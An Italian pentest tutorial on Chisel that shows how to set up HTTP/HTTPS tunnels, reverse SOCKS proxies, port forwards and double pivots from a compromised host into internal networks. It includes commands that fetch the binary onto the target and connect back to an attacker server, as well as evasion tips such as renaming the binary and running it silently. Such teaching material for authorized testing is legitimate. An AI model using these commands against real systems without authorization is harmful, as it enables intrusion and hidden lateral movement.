Chisel: TCP Tunneling over HTTP per Pivoting e Post-Exploitation

Guida pratica Chisel per tunneling e pivoting: TCP tunnel over HTTP, SOCKS proxy e port forwarding attraverso firewall. Pivoting moderno per pentest.
- Pubblicato il 2026-02-06
- Tempo di lettura: 5 min
Chisel: TCP Tunneling over HTTP per Pivoting e Post-Exploitation #
Chisel è un tunnel TCP/UDP veloce trasportato over HTTP, progettato per bypassare firewall e NAT restrittivi. Un singolo binario Go che funziona sia come client che server, Chisel crea tunnel SOCKS5 e port forwarding attraverso connessioni HTTP/HTTPS che sembrano traffico web legittimo. In questa guida impari a deployare Chisel per pivoting, raggiungere reti interne isolate e bypassare controlli di rete durante penetration test.
Posizione nella Kill Chain #
Chisel opera principalmente nelle fasi di pivoting e lateral movement:
| Fase | Tool Precedente | Chisel | Tool Successivo |
|---|---|---|---|
| Initial Access | Metasploit shell | → Setup tunnel | → Pivoting ready |
| Pivoting | Foothold established | → SOCKS proxy | → Internal scan |
| Lateral Movement | Internal access | → Port forward | → CrackMapExec |
| Exfiltration | Data collected | → Encrypted transfer | → C2 server |
Installazione e Setup #
Download Binary Pre-compilato #
# Linux
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel
# Windows (da scaricare per upload su target)
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gzCompilazione da Source #
git clone https://github.com/jpillora/chisel.git
cd chisel
go build -ldflags="-s -w" .Flag -ldflags="-s -w" riduce dimensione binario rimuovendo simboli debug.
Verifica Installazione #
chisel --versionOutput atteso:
chisel version 1.9.1Architettura Chisel #
Chisel funziona con modello client-server:
[Attacker] ←HTTP→ [Firewall] ←HTTP→ [Victim/Pivot]
↓ ↓
Server Client
(listener) (connector)- Server: gira sulla tua macchina, riceve connessioni
- Client: gira sul target, stabilisce tunnel verso server
Il traffico passa over HTTP(S), bypassando firewall che permettono web traffic.
Uso Base #
Reverse SOCKS Proxy #
La configurazione più comune: crea proxy SOCKS5 per accedere alla rete del target.
Sulla tua macchina (server):
chisel server -p 8080 --reverseOutput:
2024/01/15 10:30:00 server: Reverse tunnelling enabled
2024/01/15 10:30:00 server: Listening on http://0.0.0.0:8080Sul target compromesso (client):
./chisel client 192.168.1.50:8080 R:socksOutput:
2024/01/15 10:31:00 client: Connecting to ws://192.168.1.50:8080
2024/01/15 10:31:00 client: ConnectedOra hai SOCKS5 proxy su 127.0.0.1:1080 per accedere alla rete interna.
Usa il Proxy #
# Con proxychains
proxychains nmap -sT -Pn 10.10.10.0/24
# Con curl
curl --socks5 127.0.0.1:1080 http://10.10.10.100
# Con browser
# Configura SOCKS5 proxy: 127.0.0.1:1080Port Forward Singolo #
Forward porta specifica invece di full SOCKS:
Server: (nostro kali)
chisel server -p 8080 --reverseClient: (VM CTF,dove abbiamo un primo accesso)
./chisel client 192.168.1.50:8080 R:3389:10.10.10.100:3389Ora localhost:3389 raggiunge 10.10.10.100:3389 attraverso il pivot.
Scenari Pratici di Penetration Test #
Scenario 1: Pivoting da DMZ a Rete Interna #
Timeline stimata: 15 minuti
Hai compromesso webserver in DMZ. Devi scannerizzare rete interna 10.10.10.0/24.
# COMANDO: Sulla tua macchina, avvia server
chisel server -p 443 --reverseOUTPUT ATTESO #
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:443# COMANDO: Trasferisci chisel sul target
# Via web shell, curl, wget, certutil...
wget http://192.168.1.50/chisel -O /tmp/chisel
chmod +x /tmp/chisel
# COMANDO: Connetti client
/tmp/chisel client 192.168.1.50:443 R:socksOUTPUT ATTESO #
client: Connecting to ws://192.168.1.50:443
client: Connected# COMANDO: Usa proxy per scan interno
proxychains -q nmap -sT -Pn -p 22,80,445,3389 10.10.10.0/24OUTPUT ATTESO #
10.10.10.10 - 22/open, 445/open
10.10.10.50 - 80/open, 3389/open
10.10.10.100 - 22/open, 80/open, 445/openCOSA FARE SE FALLISCE #
- Connection refused: Firewall blocca porta. Prova 80 o 443.
- Timeout: Il target non raggiunge il tuo server. Verifica egress filtering.
- Proxy lento: Aumenta timeout proxychains in
/etc/proxychains.conf.
Scenario 2: Double Pivot (Multi-Hop) #
Timeline stimata: 25 minuti
Devi raggiungere rete 172.16.0.0/24 attraverso due pivot points.
Attacker → Pivot1 (DMZ) → Pivot2 (Internal) → Target Network# COMANDO: Server sulla tua macchina
chisel server -p 8080 --reverse
# COMANDO: Pivot1 connette e crea SOCKS
./chisel client ATTACKER:8080 R:1080:socks
# COMANDO: Attraverso SOCKS, trasferisci chisel su Pivot2
proxychains scp chisel user@10.10.10.50:/tmp/
# COMANDO: Su Pivot2, crea secondo tunnel
proxychains ssh user@10.10.10.50
/tmp/chisel client ATTACKER:8080 R:1081:socksOra hai:
localhost:1080→ rete di Pivot1localhost:1081→ rete di Pivot2 (172.16.0.0/24)
Scenario 3: Port Forward per RDP/SSH #
Timeline stimata: 10 minuti
Devi accedere a RDP su host interno 10.10.10.100.
# COMANDO: Server
chisel server -p 8080 --reverse
# COMANDO: Client con port forward specifico
./chisel client 192.168.1.50:8080 R:3389:10.10.10.100:3389 R:22:10.10.10.100:22# COMANDO: Connetti RDP
xfreerdp /v:127.0.0.1 /u:administrator
# COMANDO: Connetti SSH
ssh user@127.0.0.1Scenario 4: Chisel Over HTTPS #
Timeline stimata: 20 minuti
Per traffico più stealth, usa HTTPS.
# COMANDO: Genera certificato
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt
# COMANDO: Server con TLS
chisel server -p 443 --reverse --tls-key server.key --tls-cert server.crt
# COMANDO: Client con TLS
./chisel client --tls-skip-verify https://192.168.1.50:443 R:socksDefense Evasion #
Tecnica 1: Porta Standard HTTP/HTTPS #
# Usa porta 80 o 443 per sembrare traffico web
chisel server -p 443 --reverseTecnica 2: Fingerprint Obfuscation #
Chisel può essere configurato per sembrare webserver legittimo:
# Server con basic auth
chisel server -p 443 --reverse --auth user:passwordTecnica 3: TLS con Certificato Valido #
# Usa Let's Encrypt cert
chisel server -p 443 --reverse --tls-key /etc/letsencrypt/live/domain/privkey.pem --tls-cert /etc/letsencrypt/live/domain/fullchain.pemTraffico appare come HTTPS legittimo.
Integration Matrix #
| Chisel + | Risultato | Comando |
|---|---|---|
| Nmap | Scan rete interna | proxychains nmap -sT target |
| CrackMapExec | AD enum via pivot | proxychains cme smb 10.10.10.0/24 |
| Evil-WinRM | WinRM via tunnel | proxychains evil-winrm -i target |
| Metasploit | Route through proxy | setg Proxies socks5:127.0.0.1:1080 |
Confronto: Chisel vs Alternative #
| Feature | Chisel | SSH Tunnel | Socat | Ligolo |
|---|---|---|---|---|
| Protocollo | HTTP/WS | SSH | Raw TCP | TUN interface |
| Firewall bypass | Eccellente | Medio | Basso | Eccellente |
| Setup | Semplice | Semplice | Medio | Complesso |
| Performance | Alta | Alta | Alta | Molto Alta |
| SOCKS support | ✓ | ✓ | Limitato | ✓ |
| Singolo binario | ✓ | Richiede SSH | ✓ | ✓ |
Quando usare Chisel: firewall permette solo HTTP/HTTPS, serve SOCKS proxy, vuoi setup rapido.
Quando usare alternative: SSH disponibile, serve TUN interface (Ligolo), o raw TCP ok.
Detection e Countermeasures #
Cosa Cerca il Blue Team #
- Connessioni HTTP/WebSocket persistenti long-lived
- Traffic pattern anomalo su porta 80/443
- Processo chisel o binario sconosciuto
- Proxy SOCKS listening su host interni
IOCs #
# Process
chisel client ...
chisel server ...
# Network
WebSocket upgrade su porte HTTP
Keep-alive connections prolungateEvasion Tips #
- Rinomina binario:
mv chisel /tmp/nginx - Usa TLS: traffico criptato non ispezionabile
- Limita durata: chiudi tunnel quando non necessario
- Background quietly:
nohup ./chisel client ... &>/dev/null &
Troubleshooting #
“Connection refused” #
# Verifica server attivo
netstat -tulpn | grep chisel
# Verifica firewall
iptables -L -n | grep 8080Proxychains timeout #
Modifica /etc/proxychains.conf:
tcp_read_time_out 30000
tcp_connect_time_out 20000Client non si connette #
# Test connettività base
curl http://server:8080
# Debug mode
chisel client --verbose server:8080 R:socksPerformance lenta #
# Usa keep-alive aggressivo
chisel server -p 8080 --reverse --keepalive 10sCheat Sheet Comandi #
| Operazione | Server | Client |
|---|---|---|
| Reverse SOCKS | chisel server -p PORT --reverse | chisel client SERVER:PORT R:socks |
| Port forward | chisel server -p PORT --reverse | chisel client SERVER:PORT R:LOCAL:REMOTE:RPORT |
| HTTPS tunnel | chisel server -p 443 --tls-key k --tls-cert c | chisel client https://SERVER R:socks |
| Con auth | chisel server --auth user:pass | chisel client --auth user:pass SERVER |
| SOCKS su porta custom | Come sopra | chisel client SERVER R:9999:socks |
| Multiple forwards | Come sopra | chisel client SERVER R:socks R:3389:T:3389 |
FAQ #
Chisel vs SSH tunnel?
Chisel bypassa firewall che bloccano SSH ma permettono HTTP. SSH è preferibile se disponibile.
Il traffico Chisel è criptato?
WebSocket è in chiaro su HTTP. Usa HTTPS per encryption.
Quanto è veloce Chisel?
Performance simile a SSH tunnel. Overhead HTTP è minimo.
Posso usare UDP?
Sì, ma richiede configurazione specifica e non tutti gli scenari lo supportano bene.
Come nascondo il binario chisel?
Rinomina, metti in directory non sospette, esegui in background senza output.
Chisel funziona su Windows?
Sì, binari Windows disponibili. Stesso syntax.
È legale usare Chisel?
Solo su reti autorizzate. Per penetration test professionali, hackita.it/servizi.
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.
Risorse: Chisel GitHub | Chisel Wiki







